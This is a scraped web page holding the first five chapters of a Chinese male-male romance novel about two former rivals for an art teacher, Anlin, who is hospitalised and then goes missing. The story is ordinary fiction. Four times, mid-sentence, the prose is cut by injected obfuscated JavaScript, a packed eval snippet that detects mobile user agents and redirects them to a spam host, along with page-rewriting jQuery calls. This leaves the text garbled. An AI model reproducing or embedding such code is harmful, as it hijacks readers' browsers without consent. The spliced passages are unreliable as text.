《攻二和攻一喜结连理后》 1. 1 苏在起在一阵激荡的音乐里手足无策地站了一会儿,看着安林躺在沙发上痛苦地捂住腹部蜷缩起来,才茫然地反应过来,拿起手机下意识就给贺曲航打电话。 “曲航,”他慌忙地说,“安林他吐血了,你快点过来吧…” 贺曲航还在公司里查看资料,听到安林的姓名愣了一下,随即神色有些无奈起来:“…他又怎么了?” 苏在起已经慌的不知道该干什么,听到贺曲航的声音也平静不下来,连忙摇头,也不管自己不想要贺曲航再看到安林的事情了,急忙道:“不是,安林出事了…” 贺曲航愣了一下,问道:“怎么回事?” “聚会我们在,不知道安林怎么了就开始吐血,喝多了……” 贺曲航有些难以描述地听着他语句不通的话。苏在起已经二十七,却遇到事了只知道给他打电话。贺曲航叹了口气,让苏在起把手机给旁边的人。 接电话的是个女性,听声音还很清醒,但是年龄不大。贺曲航有条不紊地告诉他们现在应该做什么,一边站起身向电梯快步走去。 贺曲航工作一向喜欢早退,但是也从来没有这个点走过,助理还在办公室里喝奶茶,从窗户扫到他一闪而过的身影,愣了一下连忙抓起手机追上他。 “贺总,去哪?” 贺曲航扫他一眼,把电话挂断。 虽然知道贺曲航性格温和有礼,但一米八七的身高还是带着十足地压迫感,助理不由得站直了身体。 贺曲航按下电梯按钮:“劳烦,A大第一附属医院。” 助理听到目的地愣了一下,但是很快的反应过来调整了表情。 安林是A大的艺术系老师,身体一向不怎么好。贺曲航追他那几年里天天因为他往医院跑,但是从两年前闻萧延和安林在一起后,他就没怎么主动去关注过安林了。 刚刚给他打电话的苏在起是他公司投资方家里的大儿子,贺曲航追安林那会儿就特别喜欢在他眼前晃来晃去,他记得两个人关系也还不错。 贺曲航公司离得远,到医院的时候安林已经治疗结束。前台的小姑娘认识他,还没靠近就给他指了方向。 苏在起一个人坐在楼梯道上抱着腿,见到贺曲航来了眼泪汪汪地看他一眼,然后迅速地低下头把自己脑袋埋进胳膊里,等着他走来安慰自己。 但是等了半天也没有听到熟悉的温柔声音。成年人应该学会处理自己的感情,苏在起抬起头,看到贺曲航已经路过了自己站到了走廊拐角。 走廊的最尽头,VIP单人病房门口,一个染着绿毛的朋克青年大声质问着:“你是老师的男朋友,你就是这么照顾他的?!” 被他质问的男人比青年高了一点,估算有一米□□的身高。穿着黑色西装和酒红色的衬衫懒散地靠在白墙边,漫不经心地抬眼嗤笑:“这么关心他,你喜欢他?” 朋克青年气急了:“你不要把所有人都想的和你一样龌龊!” “好吧,我龌龊。”男人耸了耸肩,很懊恼地叹息讥讽说,“是我的错,我竟然没有想到他一个三十多岁的成年男人,都没有照顾自己的能力。” “强词夺理!”青年反驳道,“你明知道老师身体本身就不好,你有义务去提醒他在外多注意!” “他和你们喝酒出问题,怎么还成我的错了。”男人不耐烦起来,“胃出血我灌的?我逼他喝的?” 青年半响憋不出来话。男人扯了扯自己的领带,转身看到了静静站在走廊拐角处,不知道在想些什么的贺曲航。 “啧。”闻萧延皱起眉头,重新懒散地靠回了墙上,很不客气道,“贺曲航,你来干什么。” 贺曲航随意笑了笑:“你说呢。” “这次什么身份。”闻萧延嘴角一勾,不屑地嘲讽起来,“朋友?还是表白未遂的追求者?” “闻先生,我只是一个普通的好心路人。”贺曲航慢条斯理地走到病房门口,向他点点头,“如果不是我,安先生可能已经进icu了。” 他丝毫没有在意闻萧延的话,扫过皱着眉头回忆自己刚刚话语的朋克青年,推开门走了进去。 安林正躺在床上,病态的脸上泛着不正常的苍白,无神地看向窗外。 他面容素净,却漂亮十分。毫无疑问他是个长相美丽的人,不然也不会同时俘获两个男人的芳心。 皮鞋踏在地面的声响在寂静的空间里清晰无比,贺曲航选择坐在他旁边的沙发上,慢慢地抚平了自己略微褶皱的西服。 “曲航,”安林声音很轻地叫他,“我想和他分手了。” 贺曲航没有什么反应,只是很捧场地轻声道:“你决定好了就好。” 安林闭上眼睛,眼泪从眼角滑落,说了半截开始沉默不语,消瘦却挺拔的身躯宛如洁白不染的花:“他这种人,怎么会真的爱上我……” 贺曲航给他倒了一杯热水,贴心地放在他触手可及的地方。 空气一瞬间又归于寂静起来,在这间洁白而宽阔的单人病房里,放在床头的百合花仍然滴着水雾。 安林尝试着开口:“曲航,如果当初我……” “安林!” 在安林转过脸来看着贺曲航正要继续回忆的时候,苏在起猛地推开门大声叫出了安林的大名。他脸气的充红,一双圆眸瞪的很大,指着安林半天骂不出来一句脏话,又一看贺曲航毫无要叫停的意思,急得眼泪又开始疯狂流下来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775897|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“贺曲航…”他左看右看,把过错全都推到贺曲航身上,认为他已经放弃追求安林了,怎么还能让对方说出这种话语。于是狠狠说了两句,转头上气不接下气地跑了出去。 安林立刻垂下眸子抿起唇,似乎贺曲航和苏在起真有什么关系的样子:“抱歉,你们……是我失言了。” 贺曲航刚刚进来时没有关门,外面应该听得一清二楚,闻萧延站在门侧的夹缝里,从这个角度只能看到他酒红色的衬衫。 一般按照这个剧情发展,贺曲航已经出去追人了,但是他坐在病床旁的沙发上,温和地摇摇头表示没事,开始给自己嘴里塞洗好的樱桃。 闻萧延走进来,在大敞的门口站定,腿一弯,一靠,夹着烟饶有兴趣地开口了:“如果当初你怎么了?” 安林眼泪顿时也流了出来,扭头滴落到被子上,不想让闻萧延看到自己这副脆弱的模样。 贺曲航静静在一旁看着,宛如一个局外人一样把自己与两人隔离起来。 闻萧延察觉到这点微妙的差距,莫名其妙地有点烦躁起来。他的确喜欢安林没有错,这份感情不参任何假,不然一开始也不会和同样处在金字塔顶端、井水不犯河水的贺曲航去竞争,但是这两年相处下来,安林过于矫情的作态将他的耐心消磨殆尽,这份感情没有新鲜感,意味着保质期已经到了。 成年人的爱情哪里来的这么多拉扯,每个人都有自己的生活要过。 “我腻了。”闻萧延随意道,对贺曲航面无表情叼起没点燃的烟,“这种人,可能也就你会喜欢了。” 正主还在这里,就这样毫不违避地说着这种话语。贺曲航咬破樱桃,看着他这副施舍又不屑地神情,笑了下,道:“闻先生,说话三思而后行。” “我说的很明白了。”闻萧延不在意的说,语气不耐烦,“三十二岁的人还整天需要我上赶着哄,我平白无故欠了他?” “而且——”他眼眸一转,想起刚被他气走的染着绿色头发的青年,戏谑地笑出了声,略有所指地向贺曲航道:“他这不是能接受染发的社会人员吗?” 安林反应过来什么一样,身体微微一顿,只看向窗外。 时间可以消磨一切东西。贺曲航现在已经不再对安林有任何残余感情了。追人的时候可以付出一切,但是没有关系了那他就什么也不会在意。 这趟浑水他没有半点想法想要参与,于是他果断地起了身,向门外走去:“你们好好聊聊吧。” 闻萧延垂眸扫了他一眼,语气不再那样咄咄逼人:“你倒是通透。” 贺曲航扫他一眼,顺手把被他刚刚一起提出来的樱桃篮挂到闻萧延手上,摆了摆手,头也不回的消失在走廊的拐角。 2. 第 2 章 苏在起虽然跑了,但是没跑多远,抱着腿坐在熟悉的那个位置上,见贺曲航出来后再再一次路过了他,不由得喊起来。 “你是不是还对安林有感情。” 贺曲航脚步一顿,半晌才知道是在对自己说话,微微侧身回头俯视这个温室里的娇弱的花朵。他的神情仍然是温和的,眉目冷淡,却遮挡不住眼底明晃晃类似于厌烦的冰冷。 他语气却仍然礼貌:“苏先生,我已经说过很多遍了吧。” 但乍一眼又见到这副多年没见的、不耐又傲慢的神情,苏在起的表情却开始恍惚起来。 苏在起第一次见到贺曲航的时候是在十年前的贺家晚宴,全社会的上层名流都应邀参加,并且以收到邀请函为荣。他被苏家家主领着一起进门,局促不安地站在父亲身后当一个全程的内敛小孩,心里惦记着来前还没有写完的数学作业。十七岁的贺曲航就在这个时候突然冲进了他的视野里。 贺曲航染着紫色的挑染,脚下踩着滑板冲进宴会厅,半途不小心撞倒了来宾的酒,急刹时正好位于苏在起身前。距离太近,近到苏在起能够清楚地看到对方碎发盖不住的左耳上三颗钉子的色泽与款式,却只敢低下头看倒映在摔碎酒杯碎片里对方鼻梁高挺的侧脸。 苏在起喜欢他充满少年气息的笑,也喜欢他一瞬间滑行过自己时鼓动的风,于是开始了长久而难以说出口的苦涩暗恋。 但是这一切仅仅存在于贺曲航的十九岁之前,以他喜欢上安林为止。 安林是A大的艺术系老师,但是本职之前是弹钢琴的,因为没有门路才去了艺术设计系。他外表清冷,人前对着贺曲航为他手工制作的蛋糕视而不见,人后接过贺曲航变出的粉色玫瑰花、登上贺曲航为他疏通关系才得到入场机会的钢琴舞台,却说自己不喜欢染发还不着调的败家子,尤其是像他这样的纨绔社会人士。 于是贺曲航染回了头发,穿上了西装。甚至到最后为了帮助安林售卖设计品向兄长要来了现在已经成为行业龙头的设计公司,坐进了自己最讨厌的办公室里。 他的爱意如此。但是安林最后选择的却是另一个人。 仔细想想,其实从安林在学校讲座上和闻萧延认识并开始接触时,胜利的天秤就已经偏移——闻家风流成性、情人三天一换的太子爷为了自己和另一个男人持续竞争了近两年,这说出去哪一个人不会心动。 思考到此处,苏在起喉咙里几乎都要发出声音,他想要猛地站起来,然后崩溃地尖叫,但贺曲航刚刚那一瞬间的神色过于冰冷,牢牢把苏在起定在原地。而他本人此刻已经大步流星地即将走出视线,只留给苏在起宽肩窄腰、被西装勾勒出的背影。 苏在起在心里叫起来:“安林!又是安林……我就知道你还是放不下他!!” 助理正坐在对面住院部门口露天的座椅里和一个卷发女人聊天,他以为贺曲航又会和之前一样在里面待很久,所以拿着红豆饼吃的正香。见到贺曲航突然从对面的急诊楼走出来,立刻惊诧起来,三两下把红豆饼塞进嘴里,道了别紧赶慢赶走过去。 卷发女人坐在原地,神色温柔,捧着一罐五彩的千纸鹤糖果,随着助理奔跑的路线望了过去。 贺曲航点了一只烟。 此刻已经是深秋,泛黄的树叶慢慢悠悠地在身后飘落,白雾模糊了男人的四周。他梳着侧分的发型,一张矜贵英俊的脸上没有什么表情,却无端有种风雨欲来的压迫感。 助理站直了身体没有开口,看着他将烟夹在左手中指与食指之间静静燃烧着,猩红的光芒下烟灰四散。骨节分明的手背上青筋凸显。 “去开车。”贺曲航言简意赅地按灭一口没有抽的烟火道。 助理点点头,没有立刻动身,半晌纠结地塞给他一块粉色的奶糖:“方小年的妈妈给的。” 贺曲航沉默了一下,还是接了过来。 地下车库的入口就在一旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775898|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,医院从不缺人,身后是来来往往的人群,贺曲航看了一圈,也没有找到那个熟悉的身影。 视野突然被一辆白色的车挡住。车窗大敞,更为眼熟的人穿着红与黑的配色,侧着身体,通过空着的副驾驶座神色莫测地看向他。 “上车,”闻萧延散漫道,“跟你聊一些事。” 贺曲航从前就不喜欢他傲慢的做派,对这位之前的竞争者不解地笑起来:“我们能有什么好聊的。” 闻萧延正想说些什么,突然瞧见他手心里颜色鲜艳的包装糖果,舌头顶起腮帮:“那小孩的治疗费你还在出?” “假深情。”闻萧延意味不明地笑了声,没等贺曲航反应过来,一脚油门踩到底开走了。 这人神经病…? 助理想着,没敢去看贺曲航的脸色,握紧手机转头扎入一旁的地下车库。 已经早退,贺曲航也没再回公司,让助理开车把他送回公寓。门外的隔层里放着他哥派人送来的请帖和礼盒,随信写了一张便条,提醒他不要忘记代替贺家去参加一周后的婚礼。 闻萧延姑姑的三婚婚礼。 礼盒是他要负责带去的新婚礼物,仅成年人巴掌大一个,包装也很简洁朴素,说好听点就是简单大方。但是能被一起送来就不会出现差错,贺曲航对于里面是什么不感兴趣,于是随手将两个东西放在柜子上。 感应灯自动亮起,靠近江景层,黑白色风格的复式公寓在昏黄的灯光下充满了冷淡的质感。 贺曲航把口袋里的糖扔进罐子里。 “第三百四十七颗。”智能收纳盒自动报数。素纹玻璃瓶中,各种类型的糖果包装五彩斑斓,像是鱼安林曾经画作中鱼人的泪珠。 他想起十九岁,大学第一天路过学校艺术设计楼一楼拐角时偶然间的惊鸿一瞥。身穿白色西装弹钢琴的人陶醉地闭着眼睛,面色柔和美好地就像梦中的泡影,让他追逐了六年,最终竟然真的是大梦一场。 3. 第 3 章 贺曲航在从医院离开后的第三天晚上,和那个病房里染着绿色头发的朋克青年偶遇上了。 晚上十一点半,刚刚结束一场饭局的时间。地点恰好处于市内免费的景点之中,那棵很出名的古树的树干十几个成年男人手拉手才堪堪可以抱住。于是他含了一块薄荷糖沿着街道朝着古树的方向散心一样很慢地走,突然就被不知道从哪里蹦出来的人挡住了视野。 还未步入社会的青年怎么会知道并了解身前的人是什么地位,就算是天天上电视的省级领导发言人站在他眼前他也不认识是谁,于是神情急切无比地拦住了缓步向前走着的贺曲航。 贺曲航垂眸扫过他拦住自己的胳膊,看到前方不远处开始收摊的糖人小车。 “安老师失踪了,”青年穿着黑色厚底鞋,挺直了腰杆和他一样身量,瞪着眼睛看他:“我记得我之前在安林老师的病房前见过你!” 贺曲航有一点惊讶:“他失踪了?” 朋克青年怀疑地上下审视他又皱起眉头:“你不是他的追求者吗,竟然还不知道?!”他吐槽起来:“啧,长的人模狗样的,怪不得你追不到。” “还没报警?”贺曲航没理会他没有教养的话,面不改色地冷淡道,“警察会负责处理。” 朋克青年不可思议地瞪大眼睛谴责他:“你怎么这样说?你应该来和我们一起找!” 贺曲航慢半拍地停顿了一下,有些难以描述地看他,仿佛在他身上看到了一个很眼熟的影子:“这和我有什么关系。” “你简直和他那个男朋友一个德行。”青年很生气的甩手走了,不远处站着他的几个同伴,三女一男,正在很整齐地对着这里看,“真不知道安老师看上你们哪里!” 贺曲航正想拨通助理的电话让他去大致查一下,对方的电话先打了过来。 助理跟了贺曲航九年,处理事情很快速,报告贺曲航说他刚刚接到了警局的电话,已经明确告知了警方三天前贺曲航只是出于人道主义去探望伤员,交情不深,并不清楚安林人是什么状况。 青年一伙人半小时前也在这附近见到了闻萧延,进行了一样的质问话术后甩手而去,哪成想闻萧延直接替他们报了警。 公安局里,青年一梗脖子,很理直气壮地说:“这附近就是老师说他找灵感就会来的地方啊,哪知道刚好就遇上他们两个了!怎么不抓他们?我就觉得他两有重大嫌疑!” 林给皱了下眉头。安林是今天上午八点才被临床护士发现不见踪影的,医院惯例凌晨三点会进行一次查房,那时候他还在床上躺着,进一步查看后推断消失的时间是凌晨三点到七点这段时间。 市内每天状况频发的各种警情不少,这件事情本身未满二十四小时不构成立案,但是因为是闻萧延打的电话,上头施压他们必须去把这件事当做目前的主要任务对待。 他们询问了安林住院后这两天所有去看过他的人,一共三十二位。其中三天前和闻萧延一起去探望的贺曲航身份和地位摆在那里,也只是被他们过流程象征性地问了一下。下面警员吐槽说安林没缺胳膊没少腿的,可能单纯是自己想要半夜散散心而已,艺术家的行为哪是正常人能揣测的。 林给看着休息室里坐在自己对面的几位研究生,头疼的有些想要叹气:“你们天天都去病房里看望导师,他有没有表现出什么异样?” …… 凌晨一点,贺曲航在自己家门口又看到了闻萧延。后者今天穿着一身暗紫色的条纹西装,装模作样地向他颔首问好。 贺曲航累了一天,已经懒得伪装,毫不掩饰地开口:“你来干什么?” 闻萧延靠在墙边交叠着双腿,叹息一般怀念地说道:“上次我来你这里还是…来接安林的时候。” “今天这里可没有他。”贺曲航打断他道,只想快点回屋子里洗漱,然后进入睡眠,“也许你现在应该去找他人在哪里。” “这是警察应该负责的事情。”闻萧延的神色也变淡,收敛了笑意:“看来我们实在不适合叙旧。”他耸耸肩,“安林工作室的备用钥匙,我没记错的话应该一直在你这里。” “请把它借用给我。”闻萧延盯着他懒散地拖长了腔调,特意在首字的语气上加重了读音。 贺曲航皱起眉。安林的工作室法律意义上是属于他的,他自然而然地拥有备用钥匙。只是闻萧延的话内话外的意思都让他很不喜欢。 “你说我就得借?”贺曲航开口,笑起来时眼眸微弯,眼底却没有什么过多情绪,一如之前他俩人对峙时的场景,“闻先生,天下哪里有这么好的事情。” “好吧,”闻萧延耸肩,饶有兴趣地凑了过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775899|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“那作为交换,要我做点什么?” “从哪里来回哪里去就好,”贺曲航颔首轻飘飘地说,“深更半夜来访,你很不礼貌。” 门在闻萧延的眼前被不客气地关上。他想着刚刚凑近时看到贺曲航眼底不加掩饰的疲倦,诡异地却没有觉得很生气。 原来他眼底竟然有两颗小小的孪生痣,闻萧延有了新发现。 闻萧延掏出手机,百无聊赖地站了一会儿,思索着下一步去哪里搞到安林工作室的钥匙,去取回自己那副价值连城的水墨古画。 他姑姑一向喜欢这类字画,喜爱到了一种正常人难以想象的地步,他两个月前高价拍回来准备当做她的三婚礼物送去。闲暇之余谈起时安林说可以帮他代为包装,这一帮忙就是整整一个月,前天分手后丢给他一句东西在工作室里,让他自己去取。 虽然他姑姑一向不在意这种礼节,别说包装了,直接拿着去她都不会觉得不妥。 早知道就不多此一举了。闻萧延有些头疼。安林人还处于失踪状态,他工作室就是贺曲航为他搭建的一个空壳,里面只有他一个人,那两位实习生助理别说钥匙了,安林不叫她们来帮忙时连门都不配进。 难不成他现在要去请开锁师傅?闻萧延虽然自认本性风流嚣张,但是自我探究起来还是一个遵纪守法的好公民的。 闻萧延想着,却看到自己身前的门悄无声息地开了一半。 里面没有开灯,贺曲航出现在他的视野中,穿着睡袍站在里外的昏暗线交界处。被灯光照射到的眼眸色泽浅淡,如同琉璃般没什么波动,英俊分明的脸上冷淡如常。 “给你了。”贺曲航说。 他轻轻一抛,钥匙呈圆弧状飞到闻萧延下意识张开的手心里,在头顶灯光的照射下,却没有贺曲航左耳上在发光的、闪着金属色泽的物体闪亮。 “你打了耳钉?”闻萧延下意识凑近了去看。两个人身高相差不大,闻萧延轻易就即将凑到他的耳畔,却只来得及看到他眼底的两颗小痣,就被贺曲航冰冷的视线逼停。 贺曲航语气礼貌,眼眸淡然如初:“闻先生,东西拿到了就该走了。” “好吧,如你所愿。”闻萧延将钥匙挂到手上旋转,盯着他勾唇故意道,“那明天我再来。” 回应他的却是再一次关上的门。 4. 第 4 章 冷静、强大、沉稳、可靠。 这是贺曲航在所有人心里的代名词。 所以当二十四小时过去,失踪案正式定性的时候,安林的好友们就慌不择路地找上了贺曲航。 他们去求了闻萧延,但是这位长期身居高位的家伙显然没有什么人情味,用了一句轻飘飘的“都说合格的前任就该像死了一样,他失踪了关我什么事?帮忙报警已经仁慈义尽了”就将他们打发。 而与他们关系颇好的苏在起惦记着贺曲航,一点也没有帮助他们的意思。 贺曲航看着手机上安林发小发来的这条时隔两年的邀约,转头略有所思地问助理道:“我很好说话吗?” “当然。”助理手上还在整理着今早收集的资料,闻言毫不犹豫地点头,“您很温柔。” “是吗?”贺曲航想,他觉得自己骨子里其实是个很冷漠的人。 不然轰轰烈烈追了六年的人怎么说放下就放下,甚至不留一丝念想和情感。 闻萧延亲自报的警,凭借闻家在政界的影响力,这一点公安上上下下就都会足够重视。他不明白这些人还来找自己干什么,是在这两年里没有充分体会到闻萧延所代表的权势与阶级地位? 而如果是安林自己想要藏起来专门让他们去担心…… 贺曲航轻叩桌子,便将这件事抛之脑后。 闻萧延计算了一下之前两个人竞争时贺曲航每次当场的时间,卡着点算计到他大概什么时候下班。开着一辆低调奢华的黑色轿车到了贺曲航公司楼下,熟门熟路地走过去敲敲前台的桌子:“嘿,女士,帮我通知下秘书办?” 前台的漂亮实习生见到他潇洒帅气的面容红了脸颊,正要去办,却被一旁的老人按住了肩膀。 “闻先生,”经理走过来礼貌地躬身微笑道,“贺总说过,这里并不欢迎您。” “我来还他东西而已。”闻萧延听到耳熟的叫法,胳膊撑在前台的桌角边沿,扫过他胸口的姓名牌,笑起来,“你都当上经理了,怎么还这么遵守那句贺曲航随口一说的玩笑话。” “不然我怎么能当上经理呢?”经理平静地回答道。 贺曲航手下的员工简直油盐不进。闻萧延想着去公司大门口等他,但是对方也可能直接从地下车库就走了。 他现在想起昨天对方一闪而过的耳钉就觉得心痒。这未免太过奇怪。 总不能刚刚分手就对互相冷眼以对的情敌起了感情。这简直太过离谱,自己竟然是这么一个花心滥情的渣男? ……好吧,他就是。 闻萧延发现自己思考了一圈后竟然无法否认。至少他以前是。 他站在自己车盖前叼了一支烟,余光却瞅到三个极其眼熟的家伙向这里快步走来。 安林的发小林海道和两位所谓的好友,富家圈子下层的两位他记不得名字的小少爷。 “喂。”闻萧延叫他,懒散地向他们招了招手。 林海道本身急冲冲地往贺曲航公司走,听到耳熟的声音下意识一停顿,直觉告诉他如果不转头可能会有很恐怖的事情发生。 果不其然。但叫他的人竟然是闻萧延! 他怎么会出现在贺曲航公司门口? 林海道渐渐有了猜测,心里面开始计划起来。在他心里,闻萧延和贺曲航是出了名的不对付,互相恨不得对方去死。最严重的是三年前安林胃出血住院,他和贺曲航在医院里直接抛去风度大打出手,两个人的梁子算是彻底结下。 “你们来这干什么?”闻萧延眉宇轻挑,懒洋洋道,“找我不成就来找贺曲航?” 林海道刚想组织好语言讨这位欢心,但是身旁跟着他的人已经很快的点头了:“我们约了贺总吃饭,但是他没有来……” “你怎么就知道他会帮你。”闻萧延嗤笑起来,“和我相比,他那颗心简直比冰块还冷。” 林海道心头一跳,以为他的深层含义就是让他站队,连忙道:“您的意思是……” 闻萧延看他一眼,似乎是在讥讽他的自作聪明,啧声道:“我都不帮的忙,他怎么可能会有闲心。” 他懒得理会这三个人,终于在大门口看到等待的人影。贺曲航是一个人走出来的,侧脸轮廓精致又锋利,望过来的那瞬间,闻萧延大度地原谅了自己刚刚在这里等的一个小时半。 “你的钥匙。”闻萧延飞快的变了脸色,笑意盈盈地走过去,将钥匙塞到对方西装胸口的敞口口袋,自然而然开口道,“我请你去吃顿饭?” 贺曲航笑了下:“这倒不必。” “你约人了?”闻萧延问。 贺曲航停顿几秒:“那也没有。” 身后的林海道瞪大了双眼,和身边的两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775900|157901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小少爷对视一秒,都不敢相信自己眼前看到的是什么画面。 此等和睦融融的氛围。竟然在这两位中真实存在? 贺曲航有些不解闻萧延莫名其妙突然对自己的好意。 按照两人之前的相处模式,闻萧延拿到钥匙后只会大言不惭地感谢他的奉献,然后嚣张地勾起笑容离开。这也是他一贯的作风。 虽然已经没有了情敌这一层关系,但两个人对彼此的态度和个人的习惯也不可能突然转变。 贺曲航会认为他单纯在采取这种伤敌一千自损八百的方式恶心自己。 眼前的闻萧延已经勾着笑为他拉开了副驾驶门,绅士自然地装模作样请他上车。贺曲航扫他一眼,挽起不知何时松下来的衬衫袖口,自己打开门坐在了后方。 贺曲航语气不咸不淡:“闻先生这套还是留给下一位上车的人吧。” 闻萧延出门向来都是自己开车。闻言也不恼怒,拐了个弯坐上驾驶位,意有所指地笑起来:“那我努力。” 贺曲航实在对这样浪荡风流的人喜欢不起来,当他抛媚眼给空气看。 饭桌中闻萧延的态度无可挑刺,服务也完美周到,但他这样一副对待情人一般的做派让贺曲航直直皱起眉头。 贺曲航自认对感情赤诚保守。之前只看到了闻萧延和他竞争时不屑的挑衅样子,那态度让人看了都觉得欠扁,而现在他面前的闻萧延宛如开屏的公孔雀,一举一动更是充斥着迫使贺曲航去揍上一拳的不正经感。 贺曲航左腿搭在右腿身上,态度自然地看向闻萧延,语气中充满从容不迫的压迫感:“闻先生,你再这样的话,下次和你打招呼的就不是我的嘴了。” “那是什么?”闻萧延挑眉看来。 贺曲航站起身,毫无征兆地一拳猛地向他的脸砸了过去。 拳头刺破风声,高级餐厅内,周围的人纷纷发出惊呼。 贺曲航从来都不是什么礼貌的人,他只是外表包装地装作自己很是礼貌。但这不是能容忍别人一而再再而三地在他脸上跳舞的缘由。 闻萧延反应神速,快速的伸出手掌,在空中稳稳当当地接住贺曲航袭来的拳头。两个人站直了身体在放置着各类精致甜点的饭桌上对峙着。 有西装革履的人想要上来劝阻,却看到两人的面容时脸色一白,悄然无息地退了下去。 5. 第 5 章 贺曲航左手撑着桌子,他的右拳被闻萧延钳在掌心,只得微微俯身向前。 闻萧延嘴角笑意不变,似乎这只是一个很平常的小插曲罢了。但是眸底也泛上冷色。他敏锐地察觉出,刚刚贺曲航那一拳是真的抱着把他打毁容的力度来的。 对面的人面容俊冷,闻萧延借着距离如愿看清了他左耳轮廓上三颗泛着冷色的金属钉,缓慢地松开手,不由得感慨起来:“你性格还是和以前一样暴躁。” 他的话语腔调过于亲昵,不知道的还以为他们之前还有什么关系可以谈论。但用世界上最了解你的莫过于你的竞争对手这句话概括,也未免不是不可以。 贺曲航一次偷袭不成,淡定地收回手坐了回去,抚过西装颔首道:“你也一样。” 餐厅里的人都非富即贵,能在上流社会生存下来的人怎么会认不出这见面就开始打架的两位。见他们又施施然坐了回去,仿佛什么都没发生过一样粉饰了太平,提起的那口气瞬间放松下来。 餐厅经理从他们俩进来那时刻就用眼睛紧紧地注意着了。闻萧延是这家餐厅的至尊会员,经理对他很是熟悉。但在进门时他拒绝去包厢时经理就警觉大事不妙。但好歹没发生什么像几年前一样砸了酒店的事情。 上层生气下层遭殃。经理忙赶过来多送了一瓶好酒,还刻意避开了约会必需的红酒。 贺曲航抽烟但并不喝酒,酒精会使大脑麻痹而做出不受控制的事情。上一次他大醉后刨心向安林表白心意,被赶来的闻萧延砸场砸了个清醒。 闻萧延这个人,只可浅谈不可深交。风流自私,傲慢是写在骨子里的。 他能够追求安林长达两年之久,很大一部分原因也是因为有势均力敌的竞争对手存在,单纯小孩子的好胜心罢了,不然也可能不过几天就腻了。 闻萧延一点也不想知道对方是如何看待自己的。他心情很好地起了酒,坐在那里西装革履,扬眉时是神采飞扬般的桀骜俊美。 贺曲航放下了刀叉。 闻萧延带他来的这座餐厅可能是打卡圣地、也可能是高级私密的谈话会所,但绝对不是用来请客吃饭的。饭桌上的食物摆盘精致,不仅上菜慢还量少得可怜。两个人之间没什么可说的话语,在等待菜品的这段时间里就显得有些过分沉默。 “吃饱了?”闻萧延毫不在意两个人之间尴尬的氛围,显然会错了意,他兴致缺缺地审视道,“你胃口可真小。” 贺曲航记得安林最喜欢来这样的高级餐厅拍照,当然也许闻萧延以前的那些情人也喜欢。 他神色平淡地整理起自己,站起身笑了下:“也许?” “多谢款待,闻先生。”他礼貌地说,看了一眼手机,在请客的主人面前先一步毫无预兆地离开,向后投去冰冷的一眼,“就不用送了。” 闻萧延请客,他接受。这意味着借用钥匙的回礼已经完成。 贺曲航达成“一拳出击”的成就,泰然自若地欣欣然离场。 贺曲航站起身到离开的瞬间,餐厅内声音都闻声可见,经理生怕两个人聊的不愉快会发生什么,一路护送贺曲航到大门,躬送他上了助理的车。 闻萧延百无聊赖地将蛋糕叉进嘴里,顺着透明的落地窗户向下望。贺曲航过于挺拔的身高在人群中一眼就能看到,黑色的侧分碎发露出没有瑕疵的轮廓,抬手拂过袖口间又恢复了那副表面温和有礼的斯文做派。 装模作样。闻萧延懒懒地想。他怎么能不清楚那副礼貌的皮囊下是怎样冰冷傲慢的内里,甚至都不用再多加以掩饰。 怎么能够把上位者偶尔流出的怜悯当作真理? 他想起刚刚对方手机屏幕上一闪而过的来电人名,又想起警方今天反馈给他所定位到的安林所处地方的坐标,将嘴里甜腻的糕点吞咽下肚。 啧,真会给他找事。 林海道的来电直接被贺曲航静了音。他揉了揉皱起的眉间,让助理直接送他回家。 街景的繁华飞快地被甩到身后,视野里深秋的落叶飘了满地,助理缓慢地停稳了车,回头从车窗里看到下车的他:“安林先生找到了。” 贺曲航皮鞋踩上脆生生的叶片,发出脆耳的声响:“嗯。” 助理似乎还想继续说什么,但是看着他的反应,最后还是沉默地闭上了嘴,升上了轿车的窗户,目送他踏入公寓大门。 